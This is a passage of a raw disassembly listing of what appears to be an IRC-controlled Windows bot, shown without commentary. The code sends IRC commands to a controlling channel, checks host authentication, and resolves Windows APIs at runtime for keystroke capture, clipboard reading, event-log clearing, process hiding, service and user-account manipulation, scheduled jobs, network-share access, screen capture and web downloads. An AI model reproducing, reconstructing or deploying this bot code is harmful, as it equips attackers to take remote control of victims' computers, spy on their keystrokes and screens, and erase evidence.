[ebp+arg_4] ; int call sub_409D26 add esp, 14h lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch push edi push esi push offset unk_440F44 jmp loc_4025D0 ; --------------------------------------------------------------------------- loc_409BEE: ; CODE XREF: sub_401CC7+7EE3j mov [ebp+File], offset off_440130 loc_409BF5: ; CODE XREF: sub_401CC7+7F4Aj mov eax, [ebp+File] push edi push dword ptr [eax] call sub_40BAE7 pop ecx test eax, eax pop ecx jnz short loc_409C55 add [ebp+File], 4 cmp [ebp+File], offset off_440134 jb short loc_409BF5 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 14h lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch push edi push esi push offset unk_440FC4 jmp loc_4025D0 ; --------------------------------------------------------------------------- loc_409C55: ; CODE XREF: sub_401CC7+7F3Dj mov edi, [ebp+arg_18] xor esi, esi loc_409C5A: ; CODE XREF: sub_401CC7+7FBDj cmp [ebp+arg_20], ebx jz loc_402166 cmp [edi], bl jnz short loc_409C7A push [ebp+arg_20] ; Str2 push offset aIkke ; "ikke" call _strcmp pop ecx test eax, eax pop ecx jz short loc_409C8B loc_409C7A: ; CODE XREF: sub_401CC7+7F9Ej inc esi add edi, 80h cmp esi, 3 jl short loc_409C5A jmp loc_402166 ; --------------------------------------------------------------------------- loc_409C8B: ; CODE XREF: sub_401CC7+7FB1j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh ; Count push eax ; Source push esi ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_409CC2 push ebx ; int push [ebp+var_4] ; int push offset unk_440FF0 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_409CC2: ; CODE XREF: sub_401CC7+7FDFj lea eax, [ebp+var_C0] push eax ; Args push offset asc_441010 ; "-" loc_409CCE: ; CODE XREF: sub_401CC7+58Dj ; sub_401CC7+28C1j ... call sub_415CEB loc_409CD3: ; CODE XREF: sub_401CC7+1B9Bj pop ecx loc_409CD4: ; CODE XREF: sub_401CC7+2517j pop ecx jmp loc_402166 ; --------------------------------------------------------------------------- loc_409CDA: ; CODE XREF: sub_401CC7+205j ; sub_401CC7+21Aj push [ebp+Source] ; Args push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+Source] ; Args push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 10h mov dword_4E40B0, edi jmp loc_401F5B sub_401CC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409D26(int,char *Format,char Args) sub_409D26 proc near ; CODE XREF: sub_401B4F+3Dp ; sub_401CC7+1C2p ... Dest = byte ptr -200h arg_0 = dword ptr 8 Format = dword ptr 0Ch Args = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 200h ; Count push eax ; Dest call __vsnprintf add esp, 10h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E4270 ; send leave retn sub_409D26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409D6C(int,char *Str,int,int,int) sub_409D6C proc near ; CODE XREF: sub_401CC7+4FDp ; sub_401CC7+133Ep ... var_400 = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice_3 ; "NOTICE" jnz short loc_409D87 mov edi, offset aPrivmsg_2 ; "PRIVMSG" loc_409D87: ; CODE XREF: sub_409D6C+14j push edi ; Str call _strlen push [ebp+Str] ; Str mov esi, 1FAh sub esi, eax call _strlen pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_21 ; "%s" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+Dest] push [ebp+Str] push edi push offset aSSS_1 ; "%s %s :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E4270 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409E0A push 7D0h call ds:dword_4F6380 ; Sleep locret_409E0A: ; CODE XREF: sub_409D6C+91j leave retn sub_409D6C endp ; =============== S U B R O U T I N E ======================================= sub_409E0C proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp push ebx push ebp mov ebp, ds:dword_4F63A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_4F63C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409F2C push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4E42CC, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4E4240, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4E4224, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4E4134, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4E40E0, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4E4110, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4E4188, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4E4280, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4E42DC, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4E4140, eax call esi ; GetProcAddress cmp dword_4E42CC, ebx mov dword_4E4128, eax jz short loc_409F0A cmp dword_4E4240, ebx jz short loc_409F0A cmp dword_4E4224, ebx jz short loc_409F0A cmp dword_4E4134, ebx jz short loc_409F0A cmp dword_4E4110, ebx jz short loc_409F0A cmp dword_4E4188, ebx jz short loc_409F0A cmp dword_4E4280, ebx jz short loc_409F0A cmp dword_4E42DC, ebx jz short loc_409F0A cmp dword_4E4140, ebx jz short loc_409F0A cmp eax, ebx jnz short loc_409F14 loc_409F0A: ; CODE XREF: sub_409E0C+B8j ; sub_409E0C+C0j ... mov dword_4E42E0, 1 loc_409F14: ; CODE XREF: sub_409E0C+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4E4258, eax jz short loc_409F41 push 1 push ebx call eax jmp short loc_409F41 ; --------------------------------------------------------------------------- loc_409F2C: ; CODE XREF: sub_409E0C+1Dj call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E42E4, eax mov dword_4E42E0, 1 loc_409F41: ; CODE XREF: sub_409E0C+117j ; sub_409E0C+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4F63C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A056 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4E427C, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4E422C, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4E41C0, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4E42D0, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4E41F0, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4E4210, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4E4274, eax call esi ; GetProcAddress cmp dword_4E427C, ebx mov dword_4E4160, eax jz short loc_409FFA cmp dword_4E422C, ebx jz short loc_409FFA cmp dword_4E41C0, ebx jz short loc_409FFA cmp dword_4E42D0, ebx jz short loc_409FFA cmp dword_4E41F0, ebx jz short loc_409FFA cmp dword_4E4210, ebx jz short loc_409FFA cmp dword_4E4274, ebx jz short loc_409FFA cmp eax, ebx jnz short loc_40A004 loc_409FFA: ; CODE XREF: sub_409E0C+1B8j ; sub_409E0C+1C0j ... mov dword_4E42E8, 1 loc_40A004: ; CODE XREF: sub_409E0C+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4E41EC, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4E40F4, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4E41BC, eax call esi ; GetProcAddress cmp dword_4E41EC, ebx mov dword_4E41A4, eax jz short loc_40A061 cmp dword_4E40F4, ebx jz short loc_40A061 cmp dword_4E41BC, ebx jz short loc_40A061 cmp eax, ebx jnz short loc_40A06B jmp short loc_40A061 ; --------------------------------------------------------------------------- loc_40A056: ; CODE XREF: sub_409E0C+144j call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E42EC, eax loc_40A061: ; CODE XREF: sub_409E0C+232j ; sub_409E0C+23Aj ... mov dword_4E42E8, 1 loc_40A06B: ; CODE XREF: sub_409E0C+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40A224 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4E4290, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4E41D4, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4E4244, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4E4120, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4E4184, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4E41FC, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4E41A0, eax call esi ; GetProcAddress cmp dword_4E4290, ebx mov dword_4E41B0, eax jz short loc_40A114 cmp dword_4E41D4, ebx jz short loc_40A114 cmp dword_4E4244, ebx jz short loc_40A114 cmp dword_4E4120, ebx jz short loc_40A114 cmp dword_4E4184, ebx jz short loc_40A114 cmp dword_4E41FC, ebx jnz short loc_40A11E loc_40A114: ; CODE XREF: sub_409E0C+2DEj ; sub_409E0C+2E6j ... mov dword_4E42F0, 1 loc_40A11E: ; CODE XREF: sub_409E0C+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4E4204, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4E41DC, eax call esi ; GetProcAddress cmp dword_4E4204, ebx mov dword_4E428C, eax jz short loc_40A159 cmp dword_4E41DC, ebx jz short loc_40A159 cmp eax, ebx jnz short loc_40A163 loc_40A159: ; CODE XREF: sub_409E0C+33Fj ; sub_409E0C+347j mov dword_4E42F0, 1 loc_40A163: ; CODE XREF: sub_409E0C+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4E4214, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4E40FC, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4E4104, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4E4168, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4E416C, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4E4118, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4E41E0, eax call esi ; GetProcAddress cmp dword_4E4214, ebx mov dword_4E4108, eax jz short loc_40A207 cmp dword_4E40FC, ebx jz short loc_40A207 cmp dword_4E4104, ebx jz short loc_40A207 cmp dword_4E4168, ebx jz short loc_40A207 cmp dword_4E416C, ebx jz short loc_40A207 cmp dword_4E4118, ebx jz short loc_40A207 cmp dword_4E41E0, ebx jz short loc_40A207 cmp eax, ebx jnz short loc_40A211 loc_40A207: ; CODE XREF: sub_409E0C+3C5j ; sub_409E0C+3CDj ... mov dword_4E42F0, 1 loc_40A211: ; CODE XREF: sub_409E0C+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4E4100, eax jnz short loc_40A239 jmp short loc_40A22F ; --------------------------------------------------------------------------- loc_40A224: ; CODE XREF: sub_409E0C+26Aj call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E42F4, eax loc_40A22F: ; CODE XREF: sub_409E0C+416j mov dword_4E42F0, 1 loc_40A239: ; CODE XREF: sub_409E0C+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40A305 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4E420C, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4E4264, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4E426C, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4E4228, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4E4144, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4E40F0, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4E4268, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4E40DC, eax call esi ; GetProcAddress cmp dword_4E420C, ebx mov dword_4E417C, eax jz short loc_40A310 cmp dword_4E4264, ebx jz short loc_40A310 cmp dword_4E426C, ebx jz short loc_40A310 cmp dword_4E4228, ebx jz short loc_40A310 cmp dword_4E4144, ebx jz short loc_40A310 cmp dword_4E40F0, ebx jz short loc_40A310 cmp dword_4E4268, ebx jz short loc_40A310 cmp dword_4E40DC, ebx jz short loc_40A310 cmp eax, ebx jnz short loc_40A31A jmp short loc_40A310 ; --------------------------------------------------------------------------- loc_40A305: ; CODE XREF: sub_409E0C+438j call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E42FC, eax loc_40A310: ; CODE XREF: sub_409E0C+4B9j ; sub_409E0C+4C1j ... mov dword_4E42F8, 1 loc_40A31A: ; CODE XREF: sub_409E0C+4F5j mov ebp, ds:dword_4F63C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A5D6 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4E4190, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4E42C4, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4E4130, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4E410C, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4E41CC, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4E41B4, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4E4178, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4E42A0, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4E42BC, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4E41C8, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4E42AC, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4E4260, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4E4220, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4E421C, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4E4150, eax call esi ; GetProcAddress push offset aSend_1 ; "send" push edi mov dword_4E4148, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4E4270, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4E4284, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4E4238, eax call esi ; GetProcAddress mov dword_4E41F8, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4E424C, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4E4208, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4E4248, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4E42B4, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4E4200, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4E41C4, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4E4234, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4E42A4, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4E41D8, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4E4174, eax call esi ; GetProcAddress cmp dword_4E4190, ebx mov dword_4E42B8, eax jz loc_40A5E1 cmp dword_4E42C4, ebx jz loc_40A5E1 cmp dword_4E4130, ebx jz loc_40A5E1 cmp dword_4E41CC, ebx jz loc_40A5E1 cmp dword_4E41B4, ebx jz loc_40A5E1 cmp dword_4E4178, ebx jz loc_40A5E1 cmp dword_4E42A0, ebx jz loc_40A5E1 cmp dword_4E42BC, ebx jz loc_40A5E1 cmp dword_4E41C8, ebx jz loc_40A5E1 cmp dword_4E42AC, ebx jz loc_40A5E1 cmp dword_4E4260, ebx jz loc_40A5E1 cmp dword_4E4220, ebx jz loc_40A5E1 cmp dword_4E421C, ebx jz loc_40A5E1 cmp dword_4E4150, ebx jz short loc_40A5E1 cmp dword_4E4270, ebx jz short loc_40A5E1 cmp dword_4E4284, ebx jz short loc_40A5E1 cmp dword_4E4238, ebx jz short loc_40A5E1 cmp dword_4E41F8, ebx jz short loc_40A5E1 cmp dword_4E424C, ebx jz short loc_40A5E1 cmp dword_4E4208, ebx jz short loc_40A5E1 cmp dword_4E4248, ebx jz short loc_40A5E1 cmp dword_4E42B4, ebx jz short loc_40A5E1 cmp dword_4E4200, ebx jz short loc_40A5E1 cmp dword_4E41C4, ebx jz short loc_40A5E1 cmp dword_4E4234, ebx jz short loc_40A5E1 cmp dword_4E42A4, ebx jz short loc_40A5E1 cmp dword_4E41D8, ebx jz short loc_40A5E1 cmp eax, ebx jnz short loc_40A5EB jmp short loc_40A5E1 ; --------------------------------------------------------------------------- loc_40A5D6: ; CODE XREF: sub_409E0C+51Fj call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E4304, eax loc_40A5E1: ; CODE XREF: sub_409E0C+6BEj ; sub_409E0C+6CAj ... mov dword_4E4300, 1 loc_40A5EB: ; CODE XREF: sub_409E0C+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A6F0 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4E415C, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4E40E4, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4E41E8, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4E4194, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4E41F4, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4E41B8, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4E4124, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4E411C, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4E412C, eax call esi ; GetProcAddress cmp dword_4E415C, ebx mov ecx, dword_4E41B8 mov dword_4E4254, eax jz short loc_40A6CC cmp dword_4E40E4, ebx jz short loc_40A6CC cmp dword_4E41E8, ebx jz short loc_40A6CC cmp dword_4E4194, ebx jz short loc_40A6CC cmp dword_4E41F4, ebx jz short loc_40A6CC cmp ecx, ebx jz short loc_40A6CC cmp dword_4E4124, ebx jz short loc_40A6CC cmp dword_4E411C, ebx jz short loc_40A6CC cmp dword_4E412C, ebx jz short loc_40A6CC cmp eax, ebx jnz short loc_40A6D6 loc_40A6CC: ; CODE XREF: sub_409E0C+87Ej ; sub_409E0C+886j ... mov dword_4E4308, 1 loc_40A6D6: ; CODE XREF: sub_409E0C+8BEj cmp ecx, ebx jz short loc_40A70B push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4E41D0, eax jnz short loc_40A70B jmp short loc_40A705 ; --------------------------------------------------------------------------- loc_40A6F0: ; CODE XREF: sub_409E0C+7EAj call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E430C, eax mov dword_4E4308, 1 loc_40A705: ; CODE XREF: sub_409E0C+8E2j mov dword_4E41D0, ebx loc_40A70B: ; CODE XREF: sub_409E0C+8CCj ; sub_409E0C+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A755 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4E41A8, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4E42D8, eax call esi ; GetProcAddress cmp dword_4E41A8, ebx mov dword_4E4138, eax jz short loc_40A760 cmp dword_4E42D8, ebx jz short loc_40A760 cmp eax, ebx jnz short loc_40A76A jmp short loc_40A760 ; --------------------------------------------------------------------------- loc_40A755: ; CODE XREF: sub_409E0C+90Aj call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E4314, eax loc_40A760: ; CODE XREF: sub_409E0C+939j ; sub_409E0C+941j ... mov dword_4E4310, 1 loc_40A76A: ; CODE XREF: sub_409E0C+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A871 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4E4114, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4E40EC, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4E4164, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4E4198, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4E42B0, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4E414C, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4E40F8, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4E40E8, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4E4180, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4E4278, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4E4230, eax call esi ; GetProcAddress cmp dword_4E4114, ebx mov dword_4E4154, eax jz short loc_40A87C cmp dword_4E40EC, ebx jz short loc_40A87C cmp dword_4E4164, ebx jz short loc_40A87C cmp dword_4E4198, ebx jz short loc_40A87C cmp dword_4E42B0, ebx jz short loc_40A87C cmp dword_4E414C, ebx jz short loc_40A87C cmp dword_4E40F8, ebx jz short loc_40A87C cmp dword_4E40E8, ebx jz short loc_40A87C cmp dword_4E4180, ebx jz short loc_40A87C cmp dword_4E4278, ebx jz short loc_40A87C cmp dword_4E4230, ebx jnz short loc_40A886 jmp short loc_40A87C ; --------------------------------------------------------------------------- loc_40A871: ; CODE XREF: sub_409E0C+969j call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E431C, eax loc_40A87C: ; CODE XREF: sub_409E0C+A11j ; sub_409E0C+A19j ... mov dword_4E4318, 1 loc_40A886: ; CODE XREF: sub_409E0C+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A8BB push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4E413C, eax call esi ; GetProcAddress cmp dword_4E413C, ebx mov dword_4E4218, eax jz short loc_40A8C6 cmp eax, ebx jnz short loc_40A8D0 jmp short loc_40A8C6 ; --------------------------------------------------------------------------- loc_40A8BB: ; CODE XREF: sub_409E0C+A85j call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E4324, eax loc_40A8C6: ; CODE XREF: sub_409E0C+AA7j ; sub_409E0C+AADj mov dword_4E4320, 1 loc_40A8D0: ; CODE XREF: sub_409E0C+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A905 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4E429C, eax call esi ; GetProcAddress cmp dword_4E429C, ebx mov dword_4E4298, eax jz short loc_40A910 cmp eax, ebx jnz short loc_40A91A jmp short loc_40A910 ; --------------------------------------------------------------------------- loc_40A905: ; CODE XREF: sub_409E0C+ACFj call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E432C, eax loc_40A910: ; CODE XREF: sub_409E0C+AF1j ; sub_409E0C+AF7j mov dword_4E4328, 1 loc_40A91A: ; CODE XREF: sub_409E0C+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A979 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4E42C8, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4E42C0, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4E4288, eax call esi ; GetProcAddress cmp dword_4E42C8, ebx mov dword_4E4158, eax jz short loc_40A984 cmp dword_4E42C0, ebx jz short loc_40A984 cmp dword_4E4288, ebx jz short loc_40A984 cmp eax, ebx jnz short loc_40A98E jmp short loc_40A984 ; --------------------------------------------------------------------------- loc_40A979: ; CODE XREF: sub_409E0C+B19j call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E4334, eax loc_40A984: ; CODE XREF: sub_409E0C+B55j ; sub_409E0C+B5Dj ... mov dword_4E4330, 1 loc_40A98E: ; CODE XREF: sub_409E0C+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A9C3 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4E418C, eax call esi ; GetProcAddress cmp dword_4E418C, ebx mov dword_4E4294, eax jz short loc_40A9CE cmp eax, ebx jnz short loc_40A9D8 jmp short loc_40A9CE ; --------------------------------------------------------------------------- loc_40A9C3: ; CODE XREF: sub_409E0C+B8Dj call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E433C, eax loc_40A9CE: ; CODE XREF: sub_409E0C+BAFj ; sub_409E0C+BB5j mov dword_4E4338, 1 loc_40A9D8: ; CODE XREF: sub_409E0C+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40AA61 push offset aSqldriverconne ; 